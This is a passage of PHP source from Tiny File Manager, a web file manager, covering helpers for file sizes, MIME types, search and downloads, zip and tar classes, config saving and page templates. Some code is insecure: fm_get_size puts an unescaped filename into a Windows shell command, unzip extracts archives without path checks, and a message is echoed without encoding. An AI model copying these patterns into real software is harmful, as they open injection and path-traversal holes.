fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '',
$file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/'
. $root_url . '/' . ltrim(str_replace('\\',
'/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<'))
{
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) &&
!in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') &&
!ini_get('safe_mode') && @exec('echo EXEC') ==
'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo
%~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s
$arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size =
trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB',
'GB', 'TB', 'PB', 'EB',
'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) :
$power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2),
$units[$power]);
}

/**
 * Get total size of directory tree.
 *
 * @param  string $directory Relative or absolute directory name.
 * @return int Total number of bytes.
 */
function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false && $directory != ''
&& file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as
$file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' &&
function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' =>
@zip_entry_filesize($zip_entry),
                    'compressed_size' =>
@zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' =>
zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' &&
class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path,
'', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name,
'/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' =>
$file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ?
true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE',
$filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg',
'jpeg', 'jpc', 'jp2', 'jpx',
'xbm', 'wbmp', 'png', 'bmp',
'tif', 'tiff', 'psd', 'svg',
'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv',
'mp4', 'm4v', 'ogm', 'ogv',
'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg',
'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini',
'conf', 'log', 'htaccess',
'passwd', 'ftpquota', 'sql', 'js',
'ts', 'jsx', 'tsx', 'mjs',
'json', 'sh', 'config',
        'php', 'php4', 'php5',
'phps', 'phtml', 'htm', 'html',
'shtml', 'xhtml', 'xml', 'xsl',
'm3u', 'm3u8', 'pls', 'cue',
'bash', 'vue',
        'eml', 'msg', 'csv', 'bat',
'twig', 'tpl', 'md', 'gitignore',
'less', 'sass', 'scss', 'c',
'cpp', 'cs', 'py', 'go',
'zsh', 'swift',
        'map', 'lock', 'dtd',
'svg', 'asp', 'aspx', 'asx',
'asmx', 'ashx', 'jsp', 'jspx',
'cgi', 'dockerfile', 'ruby', 'yml',
'yaml', 'toml',
        'vhost', 'scpt', 'applescript',
'csx', 'cshtml', 'c++', 'coffee',
'cfm', 'rb', 'graphql', 'mustache',
'jinja', 'http', 'handlebars',
        'java', 'es', 'es6',
'markdown', 'wiki', 'tmp', 'top',
'bot', 'dat', 'bak', 'htpasswd',
'pl'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls',
'xlsx', 'pdf', 'ppt', 'pptx',
'ai', 'psd', 'dxf', 'xps',
'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime
type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] =
'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] =
'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return
matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter .
")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '',
$file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/**
* Parameters: downloadFile(File Location, File Name,
* max speed, is streaming
* If streaming - videos will show as videos, images as images
* instead of download prompt
* https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if(is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'),
'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'),
'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e',
$fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition:
$contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition:
$contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=",
$_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * If the theme is dark, return the text-white and bg-dark classes.
 * @return string the value of the  variable.
 */
function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE
PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE
PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file !=
'..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' .
$file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path .
'/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE
PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE
PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file !=
'..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' .
$file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/'
. $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load
configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing
slash on the URL.';
                $msg .= '<br>Try this link: <a
href="' . $fm_url . '">' . $fm_url .
'</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data =
$data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) .
"//Default Configuration".chr(13) . chr(10)."$var_name =
$var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' :
'';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme;
?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo
lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button"
data-bs-toggle="collapse"
data-bs-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent"
aria-expanded="false" aria-label="Toggle
navigation">
            <span
class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse"
id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i
class='fa fa-home' aria-hidden='true'
title='" . FM_ROOT_PATH .
"'></i></a>";
            $sep = '<i class="bread-crumb"> /
</i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i],
'/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a
href='?p={$parent_enc}'>" .
fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6
col-sm-5">' . $root_url . $editFile .
'</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php
echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm
mr-1" style="margin-top:4px;">
                            <input type="text"
class="form-control" placeholder="<?php echo
lng('Search') ?>" aria-label="<?php echo
lng('Search') ?>"
aria-describedby="search-addon2" id="search-addon">
                            <div
class="input-group-append">
                                <span class="input-group-text brl-0
brr-0" id="search-addon2"><i class="fa
fa-search"></i></span>
                            </div>
                            <div class="input-group-append
btn-group">
                                <span class="input-group-text
dropdown-toggle brl-0" data-bs-toggle="dropdown"
aria-haspopup="true"
aria-expanded="false"></span>
                                  <div class="dropdown-menu
dropdown-menu-right">
                                    <a class="dropdown-item"
href="<?php echo $path2 = $path ? $path : '.';
?>" id="js-search-modal" data-bs-toggle="modal"
data-bs-target="#searchModal"><?php echo lng('Advanced
Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo
lng('Upload') ?>" class="nav-link"
href="?p=<?php echo urlencode(FM_PATH)
?>&amp;upload"><i class="fa fa-cloud-upload"
aria-hidden="true"></i> <?php echo
lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo
lng('NewItem') ?>" class="nav-link"
href="#createNewItem" data-bs-toggle="modal"
data-bs-target="#createNewItem"><i class="fa
fa-plus-square"></i> <?php echo lng('NewItem')
?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle"
id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown"
aria-haspopup="true" aria-expanded="false"> <i
class="fa fa-user-circle"></i> <?php
if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo
$_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow
<?php echo fm_get_theme(); ?>"
aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo
lng('Settings') ?>" class="dropdown-item
nav-link" href="?p=<?php echo urlencode(FM_PATH)
?>&amp;settings=1"><i class="fa fa-cog"
aria-hidden="true"></i> <?php echo
lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo
lng('Help') ?>" class="dropdown-item nav-link"
href="?p=<?php echo urlencode(FM_PATH)
?>&amp;help=2"><i class="fa
fa-exclamation-circle" aria-hidden="true"></i>
<?php echo lng('Help') ?></a>
                            <a title="<?php echo
lng('Logout') ?>" class="dropdown-item
nav-link" href="?logout=1"><i class="fa
fa-sign-out" aria-hidden="true"></i> <?php echo
lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo
lng('Settings') ?>" class="dropdown-item
nav-link" href="?p=<?php echo urlencode(FM_PATH)
?>&amp;settings=1"><i class="fa fa-cog"
aria-hidden="true"></i> <?php echo
lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ?
$_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class .
'">' . $_SESSION[FM_SESSION_ID]['message'] .
'</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File
Manager in PHP, Manage your files efficiently and easily with Tiny File
Manager">
    <meta name="author" content="CCP
Programmers">
    <meta name="robots" content="noindex,
nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon"
href="'.fm_enc($favicon_path).'"
type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{
background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304
304' width='304' height='304'%3E%3Cpath
fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5
5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1
0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0
2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0
1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64
208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0
1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1
1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5
0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2
0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0
2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1
176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1
0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1
